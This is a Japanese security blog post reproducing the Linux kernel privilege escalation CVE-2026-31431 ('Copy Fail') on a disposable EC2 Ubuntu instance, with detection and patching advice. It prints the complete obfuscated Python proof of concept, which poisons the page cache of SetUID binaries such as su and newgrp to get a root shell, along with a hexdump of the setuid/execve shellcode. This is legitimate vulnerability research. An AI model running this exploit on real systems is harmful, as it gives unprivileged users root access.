🐾

Linuxカーネルの脆弱性「Copy Fail (CVE-2026-31431)」をEC2のUbuntu 22.04で実証してみた

に公開

こんにちは!株式会社エーアイセキュリティラボのはるぷと申します。

一般ユーザーがコマンド一発でrootを取れてしまうLinuxカーネルの脆弱性、CopyFail (CVE-2026-31431) が話題になっています。AIによって発見された論理バグで、汚しても問題ないEC2環境を作って実際に検証してみました。

この脆弱性は、 一般ユーザーがroot権限に昇格できる というものです。実行条件がとても簡単なので話題になりました。ざっくり仕組みを言うと、algif_aeadauthencesnsplice() システムコールの組み合わせによって、メモリ上のページキャッシュを直接書き換えられてしまう、というものです。
脆弱性の発生原理は元記事の解説に任せ、ここではPoCで何が起きているのか中心に解説します。

TL;DR

  • PoC を動かすと、一般ユーザーから1コマンドで root が取れる
  • ディスク上のバイナリは書き換わらず、ページキャッシュだけが汚染される
  • 検知には「キャッシュ vs ディスク」のハッシュ比較が必要
  • SetUID ファイル全般が対象。基本的にはパッチ適用が最優先

では実際にやってみます。

検証環境

AWS EC2にて、以下のイメージを選択して起動しました。

  • OS: Ubuntu Pro - Ubuntu Server Pro 22.04 LTS (HVM), SSD Volume Type
ubuntu@ip-172-32-101-31:~$ uname -a
Linux ip-172-32-101-31 6.8.0-1052-aws #55~22.04.1-Ubuntu SMP Tue Apr  7 04:58:22 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

実証(PoCの実行)

https://copy.fail/exp から公開されているPoCをダウンロードして内容を確認します。実際に実行した中身がわかりやすいように標準出力にスクリプトの内容も表示しつつ実行します。

PoC実行

PoCのコード
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

PoC自体もとてもシンプルなもので、コマンド一発でroot権限を奪取できていることがわかります。

PoCの技術的な解説

シェルコードの内容

PoC内にある難読化されたデータ(78da...d3)部分は、実際には以下の処理を実施しているだけのシンプルなものです。

  • setuid(0): プロセスの実効ユーザーIDをスーパーユーザー(UID: 0、通常はroot)に設定するシステムコール
  • execve("/bin/sh", args, env): 新しく /bin/sh(シェル)を起動するシステムコール

このデータをdeflateしてhex表記すると以下になります。b0 69 0f 05がsetuid(0)のsyscall、6a 3b 58 99 0f 05がexecveのsyscall、それ以外はほぼ何もしていないシンプルな内容であることがわかります。

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i..
00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...

この内容をそのまま一般ユーザーで実行しても、当然権限がないため失敗します。しかしPoCでは、ページキャッシュ上の su バイナリの一部をシェルコードにすり替えてから、通常通り su を起動します。これにより、カーネルが「汚染されたメモリ」をそのまま実行してしまう、という動きになります。 su には SetUID フラグ(-rwsr-xr-x)がついており高い権限で実行されるため、setuid(0) の呼び出しが可能になります(これができないと、そもそも su コマンドの本来の動作も成立しません)。その状態で /bin/sh を呼んでいるため、結果として root のシェルが取れることになります。

ページキャッシュの汚染

この攻撃の特徴は、メモリ上のコマンドを書き換えているので、/usr/bin/su自体(ディスク上の実体)は書き換わっていない 点にあります。そのため、OSを再起動したり、sync; echo 3 > /proc/sys/vm/drop_caches のコマンドでページキャッシュをクリアすることで元に戻ります(su済みのシェルはそのままです)。

実際にファイルの状態を確認しても、パーミッションやタイムスタンプに変更は見られません。ファイルサイズも大きいですし、日付も実行時点である2026年4月にはなっていません。

# ls -l /usr/bin/su
-rwsr-xr-x 1 root root 55680 Mar  6 16:10 /usr/bin/su

侵害状態の確認方法

このPoCを実行すると、suコマンドの挙動がおかしくなるので、suコマンドを実行すれば侵害されているかどうかは比較的簡単にわかります。しかし、システム的に自動検知しようとすると、なかなか厄介です。
通常、su での権限昇格は auth.log にログが残ります。しかし今回のPoCでは、su を実行しているにもかかわらずログが出ません。これは、メモリ上の su バイナリ自体が書き換えられており、ログ出力のコードそのものが消えているためです。

そのため、侵害されている状態かを確認するには、ページキャッシュを確認する必要があります。
ページキャッシュ経由のデータと、ディスク上のデータを比較するコードは以下のように書けます。

import os, mmap, hashlib

path = "/usr/bin/su"
check_size = 4096  # 比較サンプルなので1ページ分のみ

# ページキャッシュ経由のデータ
with open(path, "rb") as f:
    data_cache = f.read(check_size)
hash_cache = hashlib.sha256(data_cache).hexdigest()

# ディスク上のデータ
try:
    fd = os.open(path, os.O_RDONLY | os.O_DIRECT)
    buf = mmap.mmap(-1, 4096)
    os.readv(fd, [buf])
    data_disk = buf[:check_size]
    os.close(fd)
    hash_disk = hashlib.sha256(data_disk).hexdigest()

    print(f"Cache SHA256: {hash_cache}")
    print(f"Disk  SHA256: {hash_disk}")

    if hash_cache != hash_disk:
        print("\n[!] POISONED!")
    else:
        print("\n[+] OK")
except OSError as e:
    print(f"\n[!] Error: {e}")

実行結果は以下の通り、ハッシュ値に不一致が生じます。

Cache SHA256: 583539f0262f045e2e325f3d4ce44b857c2f09cec9301b9ec79a815a77774af1
Disk  SHA256: b8e554edf97f523d9c693dcda16d32690ed6e2317899ccff1f60c192e4a721ac

SetUIDファイル全般への影響

これは suコマンドに限った話ではなく、SetUIDされているファイル全て(パーミッションが -rwsr-xr-x のようなもの)が対象となります。そのため、システム全体の安全を確認するには、これらを網羅的にチェックする必要があります。
以下が今回立てたサーバの対象ファイルです。37個ありました。結構多いですね。

対象ファイルの一覧
$ find / -perm -4000 -type f 2>/dev/null | xargs ls -l
-rwsr-xr-x 1 root root             85064 Feb  6  2024 /snap/core20/2717/usr/bin/chfn
-rwsr-xr-x 1 root root             53040 Feb  6  2024 /snap/core20/2717/usr/bin/chsh
-rwsr-xr-x 1 root root             88464 Feb  6  2024 /snap/core20/2717/usr/bin/gpasswd
-rwsr-xr-x 1 root root             55528 Apr  9  2024 /snap/core20/2717/usr/bin/mount
-rwsr-xr-x 1 root root             44784 Feb  6  2024 /snap/core20/2717/usr/bin/newgrp
-rwsr-xr-x 1 root root             68208 Feb  6  2024 /snap/core20/2717/usr/bin/passwd
-rwsr-xr-x 1 root root             67816 Apr  9  2024 /snap/core20/2717/usr/bin/su
-rwsr-xr-x 1 root root            166056 Jun 25  2025 /snap/core20/2717/usr/bin/sudo
-rwsr-xr-x 1 root root             39144 Apr  9  2024 /snap/core20/2717/usr/bin/umount
-rwsr-xr-- 1 root systemd-resolve  51344 Oct 25  2022 /snap/core20/2717/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root            477672 Apr 11  2025 /snap/core20/2717/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root             72712 Feb  6  2024 /snap/core22/2339/usr/bin/chfn
-rwsr-xr-x 1 root root             44808 Feb  6  2024 /snap/core22/2339/usr/bin/chsh
-rwsr-xr-x 1 root root             72072 Feb  6  2024 /snap/core22/2339/usr/bin/gpasswd
-rwsr-xr-x 1 root root             47488 Apr  9  2024 /snap/core22/2339/usr/bin/mount
-rwsr-xr-x 1 root root             40496 Feb  6  2024 /snap/core22/2339/usr/bin/newgrp
-rwsr-xr-x 1 root root             59976 Feb  6  2024 /snap/core22/2339/usr/bin/passwd
-rwsr-xr-x 1 root root             55680 Apr  9  2024 /snap/core22/2339/usr/bin/su
-rwsr-xr-x 1 root root            232416 Jun 25  2025 /snap/core22/2339/usr/bin/sudo
-rwsr-xr-x 1 root root             35200 Apr  9  2024 /snap/core22/2339/usr/bin/umount
-rwsr-xr-- 1 root systemd-resolve  35112 Oct 25  2022 /snap/core22/2339/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root            338536 Apr 11  2025 /snap/core22/2339/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root             18736 Feb 26  2022 /snap/core22/2339/usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root             72712 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root             44808 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root             35200 Mar 23  2022 /usr/bin/fusermount3
-rwsr-xr-x 1 root root             72072 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root             47488 Mar  6 16:10 /usr/bin/mount
-rwsr-xr-x 1 root root             40496 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root             59976 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root             30872 Apr 10 10:59 /usr/bin/pkexec
-rwsr-xr-x 1 root root             55680 Mar  6 16:10 /usr/bin/su
-rwsr-xr-x 1 root root            232416 Mar  2 13:08 /usr/bin/sudo
-rwsr-xr-x 1 root root             35200 Mar  6 16:10 /usr/bin/umount
-rwsr-xr-- 1 root messagebus       35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root            338536 Apr 28 00:38 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root             22832 Apr 10 10:59 /usr/libexec/polkit-agent-helper-1

試しに、newgrpコマンドを汚染してみた結果がこちらです。条件さえ満たされればsuコマンドである必要はないということになります。

ubuntu@ip-172-32-101-31:~$ newgrp
# id
uid=0(root) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),119(netdev),120(lxd)

まとめと対策

暫定的な対策として algif_aead を無効にする方法がありますが、システムへの影響範囲が不明な場合は注意が必要です。この脆弱性が利用されていないかを監視する場合でも、比較的チェックする箇所が多くなるため少し面倒かもしれません。
そのため、基本的には、各ディストリビューションから提供される修正パッチの有無を確認し速やかに適用しましょう。

株式会社エーアイセキュリティラボ 開発本部

Discussion